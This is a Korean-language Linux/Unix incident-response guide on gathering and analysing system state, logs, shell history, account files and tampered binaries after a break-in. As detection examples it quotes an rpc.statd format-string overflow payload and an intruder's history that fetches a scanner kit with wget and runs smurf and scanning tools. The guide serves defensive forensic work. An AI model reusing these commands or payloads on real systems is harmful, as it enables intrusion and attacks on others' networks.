▣ Linux & Unix
◆ 시스템 상태 자료 수집
시스템에 대한 상태에 대한 정보수집은 운영체제에서 기본적으로 제공하는 다음과 같은 명령을 이용하여, 피해 시스템의 현재 프로세스, 열린 파일, 로그인 사용자 정보, 네트워크 상태 등을 수집할 수 있다.
명령어 | 설 명 |
ps -elf 또는 ps -aux | 현재 시스템에서 수행중인 프로세스 정보 |
netstat -an | 현재 네트워크 활동에 대한 정보 |
lsof | ps와 netstat를 대체할 수 있는 것으로 현 시스템의 모든 프로세스와 프로세스가 사용하는 포트 및 열린 파일 정보 |
last | 사용자, 터미널에 대한 로그인, 로그아웃 정보 |
who | 현재 시스템에 있는 사용자 정보 |
find / -ctime -ndays -ls | ndays 이전 시점부터 현재까지 ctime이 변경된 모든 파일에 대한 정보 |
nmap | 네트워크 점검 도구인 nmap을 이용하여 원격에서 피해 시스템의 열린 포트 점검 |
◎ “ps -aux”명령은 각 프로세스의 사용자, 프로세스 ID, CPU점유율, 메모리사용률, 프로세스가 동작중인 TTY, 프로세스상태, 프로세스 시작시간 및 동작시간, 프로세스가 사용중인 명령들을 확인할 수 있다.
# ps -auxUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMANDroot 1 1.6 0.7 1336 476 ? S 18:29 0:04 initroot 2 0.0 0.0 0 0 ? SW 18:29 0:00 [keventd]root 3 0.0 0.0 0 0 ? SW 18:29 0:00 [kapmd]root 4 0.0 0.0 0 0 ? SWN 18:29 0:00 [ksoftirqd_CPU0]root 5 0.0 0.0 0 0 ? SW 18:29 0:00 [kswapd]root 6 0.0 0.0 0 0 ? SW 18:29 0:00 [bdflush]root 7 0.0 0.0 0 0 ? SW 18:29 0:00 [kupdated]root 8 0.0 0.0 0 0 ? SW 18:29 0:00 [mdrecoveryd]root 12 0.0 0.0 0 0 ? SW 18:29 0:00 [kjournald]root 64 0.0 0.0 0 0 ? SW 18:29 0:00 [khubd]root 157 0.0 0.0 0 0 ? SW 18:30 0:00 [kjournald]root 422 0.0 0.0 0 0 ? SW 18:30 0:00 [eth0]root 489 0.0 0.9 1396 568 ? S 18:30 0:00 syslogd -m 0root 493 0.0 0.6 1336 420 ? S 18:30 0:00 klogd -xrpc 504 0.0 0.8 1484 532 ? S 18:30 0:00 portmaprpcuser 523 0.0 1.1 1528 724 ? S 18:30 0:00 rpc.statdroot 602 0.0 0.7 1328 472 ? S 18:30 0:00 /usr/sbin/apmd -p 10 -w 5 -W -P/etc/sysconfig/apm-scripts/apmscriptroot 640 0.0 2.3 3272 1440 ? S 18:30 0:00 /usr/sbin/sshd |
◎ netstat -an
“netstat -an”명령을 통해 현재 네트워크 연결상태, 연결에 사용된 로컬어드레스와 포트, 연결에 사용된 원격지어드레스와 포트, 연결상태를 확인할 수 있다.
# netstat -anActive Internet connections (servers and established)Proto Recv-Q Send-Q Local Address Foreign Address Statetcp 0 0 0.0.0.0:1024 0.0.0.0:* LISTENtcp 0 0 127.0.0.1:1025 0.0.0.0:* LISTENtcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTENtcp 0 0 0.0.0.0:111 0.0.0.0:* LISTENtcp 0 0 0.0.0.0:6000 0.0.0.0:* LISTENtcp 0 0 0.0.0.0:21 0.0.0.0:* LISTENtcp 0 0 0.0.0.0:22 0.0.0.0:* LISTENtcp 0 0 127.0.0.1:25 0.0.0.0:* LISTENtcp 0 20 172.16.5.28:22 172.16.5.19:3098 ESTABLISHEDudp 0 0 0.0.0.0:1024 0.0.0.0:*udp 0 0 0.0.0.0:111 0.0.0.0:* |
◎ lsof
lsof는 시스템에서 현재 실행되고 있는 모든 프로세스를 중심으로 각각의 프로세스이름 및 PID, Running 프로세스와 연관된 소유자, FD(File Descriptor), 파일 타입, 디바이스번호, 파일 크기, Inode 번호, 파일이름등의 정보를 볼 수 있으며, -i옵션을 이용할 경우 TCP/UDP 소켓을 사용하는 프로세스를 확인할 수 있다.
# lsof -iCOMMAND PID USER FD TYPE DEVICE SIZE NODE NAMEportmap 504 rpc 3u IPv4 990 UDP *:sunrpcportmap 504 rpc 4u IPv4 991 TCP *:sunrpc (LISTEN)rpc.statd 523 rpcuser 4u IPv4 1061 UDP *:1024rpc.statd 523 rpcuser 6u IPv4 1064 TCP *:1024 (LISTEN)sshd 640 root 3u IPv4 1380 TCP *:ssh (LISTEN)xinetd 654 root 5u IPv4 1426 TCP MyLinux:1025 (LISTEN)xinetd 654 root 6u IPv4 1429 TCP *:ftp (LISTEN)sendmail 677 root 4u IPv4 1476 TCP MyLinux:smtp (LISTEN)mysqld 747 mysql 3u IPv4 1601 TCP *:mysql (LISTEN)mysqld 774 mysql 3u IPv4 1601 TCP *:mysql (LISTEN)mysqld 775 mysql 3u IPv4 1601 TCP *:mysql (LISTEN)mysqld 776 mysql 3u IPv4 1601 TCP *:mysql (LISTEN)mysqld 777 mysql 3u IPv4 1601 TCP *:mysql (LISTEN)mysqld 778 mysql 3u IPv4 1601 TCP *:mysql (LISTEN)mysqld 817 mysql 3u IPv4 1601 TCP *:mysql (LISTEN)mysqld 818 mysql 3u IPv4 1601 TCP *:mysql (LISTEN)mysqld 820 mysql 3u IPv4 1601 TCP *:mysql (LISTEN)mysqld 823 mysql 3u IPv4 1601 TCP *:mysql (LISTEN)X 850 root 1u IPv4 1726 TCP *:x11 (LISTEN)sshd 859 root 4u IPv4 1758 TCP 172.16.5.28:ssh->172.16.5.19:3098 (ESTABLISHED) |
◆ 시스템 상태 자료 분석
◎ 수집한 정보 분석
명령어 | 설 명 |
ps | sniffer 또는 취약점 스캔 프로그램 등 공격 프로그램이 실행되고 있는지 확인 |
netstat | 서비스하지 않는 포트가 열려 있는지 또는 이상한 사이트로 접속이 있는지 확인 |
lsof | 공격 프로그램이 실행되고 있는지 또는 서비스하지 않는 포트가 열려 있는지 확인 (ps와 netstat 기능 대체) |
last | 사용하지 않는 계정 또는 이상한 사이트에서 로그인한 정보가 있는지 확인 |
who | 현재 누가 접속해 있는지 확인 |
find / -ctime -ndays -ls | ndays 이전 시점부터 현재까지 ctime이 변경된 모든 파일에 대한 정보 |
nmap | 네트워크 백도어를 가장 빨리 찾을 수 있는 방법으로, 피해 시스템에 이상한 포트가 열려있는지를 확인 |
◎ 공격 시간대를 중심으로 분석
– 사고시스템에 남은 로그 등을 통하여 공격시간이 확인 가능한 경우
# find / -mtime -6 -ls : 현재로부터 6일 이전까지 변경된 파일을 점검
– 공격시간대를 알 수 없는 경우에는 파일의 inode 변경시간(ctime)을 점검
# find / -ctime -ndays -ls : 지난 n 날짜동안 수정된 inode를 갖는 모든 파일을 점검
다. 잘 알려진 공격기법에 대한 분석
◎ 시스템의 모든 로그 파일 검사
history 로그를 제외한 로그파일들을 유닉스 /usr/adm 또는 /var/adm 디렉토리에 저장하
고, 리눅스는 /var/log 디렉토리에 저장한다.
명령어 | 설 명 |
aculog | Dial-out 모뎀 사용 내역 |
history | 사용자별 명령어 |
lastlog | 사용자 최근 로그인 시간 |
loginlog | 실패한 로그인 시도 |
maillog | 메일 시스템 수행 내역 |
messages | 부팅시의 시스템 콜솔 내용 |
secure | 시스템 권한 관련 로그 |
sulog | su 명령 사용 내역 |
utmpx | 현재 로그인한 사용자 내역 |
vold.log | 외부 매체 사용에 대한 에러 들 |
wtmpx | 사용자의 로그인, 로그아웃 시간 |
xferlog | ftp 사용 내역 |
로그 파일을 검사할 때는 주로 messages, last, secure등의 로그를 살펴 외부에서 공격한 공격로그가 남아있는지, 관리자가 추가하지 않은 사용자가 접속한 흔적은 있는지, 특정한 서비스에 접속한 흔적 등이 있는지 확인해 보아야 한다.
예) 버퍼오버플로우 공격을 받을 때 messages에 남는 로그
Jan 15 09:16:53 roo1-03 rpc.statd[838]: gethostbyname errorfor^X??X??Z??Z??8x%8x%8x%8x%8x%8%62716x%hn%51859x%hn\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\ |
예) 관리자가 추가하지 않은 사용자가 접속해 secure에 남은 로그
Feb 3 00:23:54 localhost sshd[1515]: Accepted password for amc from 80.97.191.237 port 1145Feb 3 02:04:27 localhost sshd[1662]: Accepted password for amc from 80.97.158.154 port 59786Feb 3 02:19:12 localhost sshd[1842]: Accepted password for amc from 80.97.158.154 port 59891Feb 3 05:48:36 localhost sshd[3149]: Accepted password for amc from 80.97.158.154 port 41685Feb 3 06:08:20 localhost sshd[3301]: Accepted password for amc from 80.97.158.154 port 41698Feb 3 23:07:03 localhost sshd[8532]: Accepted password for amc from 80.97.191.142 port 1334 |
◎ history 파일 점검
– root나 의심이 가는 사용자의 history 파일을 점검한다.
Linux : # more bash_history : 사용자의 홈 디렉토리에서 점검
Solaris : # more .history : / 디렉토리에서 점검
예) bash_history 로그를 통해 의심 가는 계정의 사용자가 한 작업을 볼 수 있다.
# more .bash_history|morecd /tmpwget esk.as/scanall.tar.gztar -zxvf scanall.tar.gz./smurf5 213./sl3 21cd scanall./sl3 21dir./x2 21… |
◎ /etc/passwd 파일 점검
– 관리자가 생성하지 않은 새로운 계정이나, uid=0인 계정, 패스워드가 없는 계정이 있는지
확인한다.
# ls -al /etc/passwd
예) /etc/passwd파일에 관리자가 만들지 않은 uid=0인 계정이 있는 경우
# more /etc/passwdcgm:x:0:510::/home/cgm:/bin/bashbind:x:0:511::/home/bind:/bin/bash… |
◎ 숨겨진 디렉토리 점검
– “ .”이나“..”으로 시작하는 디렉토리를 만들거나, 이는 관리자가 아무런 옵션 없이“ls”명령을 사용했을 때는 보이지 않게 된다.
# find / -name“ ..*”-print 또는 # find / -name“ .*”-print
◎ 공격자가 자주 사용하는 디렉토리 점검
– /dev, /var, 각종 /tmp 디렉토리, write가능한 디렉토리에 공격용 파일/디렉트리를 설치하는 경우가 많고, 특히 /dev 디렉토리는 루트킷이나 백도어 설정파일의 디폴트 디렉토리로 많이 사용된다.
# find /dev -type f -print -/dev 디렉토리는 일반파일이 존재불가능
◎ 백도어 파일 점검
– 사용자 홈 디렉토리의“.rhosts”파일, “.forward”파일, “etc/inetd.conf”파일, “/etc/services”파일, /etc/rc.d/ 디렉토리내의 파일들에 이상한 포트나 서비스가 열려 있는지 점검한다.
◎ 시스템날짜 변경 확인
– /bin 디렉토리나 /sbin 디렉토리 등 시스템 파일들의 날짜가 변경되었는지를 점검한다.
– 자주 사용되는 프로그램의 파일 사이즈를 똑같은 버전의 다른 시스템의 프로그램과 비교하거나 시스템 명령들은 OS를 설치할 때 한꺼번에 설치되므로 비슷한 시간속성을 가지고 있어야 하므로 해당프로그램의 생성날짜 또는 변경 날짜를 다른 프로그램의 날짜와 비교함으로써 변조유무를 알 수 있다.
# ls -alct /bin 또는 # ls -alct /sbin
예) ps, netstat을 변조시키고 원래의 ps, netstat파일을 .ps, .netstat로 바꾼 경우
# ls -alct|more합계 6268drwxr-xr-x 20 root root 4096 1월 17 17:06 ../drwxr-xr-x 2 root root 4096 12월 16 08:35 ./-rwxr-xr-x 1 root root 232 12월 16 08:35 netstat*-rwxr-xr-x 1 root root 305 12월 16 08:35 ps*-rwxrwxrwx 1 root 50 206 12월 16 08:35 xnet*-rwxrwxrwx 1 root 50 260 12월 16 08:35 xps*-rwxrwxrwx 1 root 50 218 12월 9 23:52 .netstat*-rwxrwxrwx 1 root 50 257 12월 9 23:52 .ps* |
– 시스템 파일들이 실행될 때 호출되는 시스템 콜과 정상적인 프로그램의 시스템 콜을 비교
함으로써 시스템 명령의 변조 유무를 확인할 수 있으며 strace(Linux), truss(Solaris) 명령
을 이용해 확인할 수 있다.
# truss -t open /usr/bin/lsopen“( /var/ld/ld.config”, O_RDONLY) Err#2 ENOENTopen“( /usr/lib/libintl.so.1”, O_RDONLY) = 3open“( /dev/zero”, O_RDONLY) = 4open“( /usr/lib/libc.so.1”, O_RDONLY) = 3open“( /usr/lib/libdl.so.1”, O_RDONLY) = 3open“( /usr/platform/SUNW,Ultra-60/lib/libc_psr.so.1”, O_RDONLY) = 3open“( /usr/include/fs.h”, O_RDONLY) = 3open64“( .”, O_RDONLY|O_NDELAY) = 3 |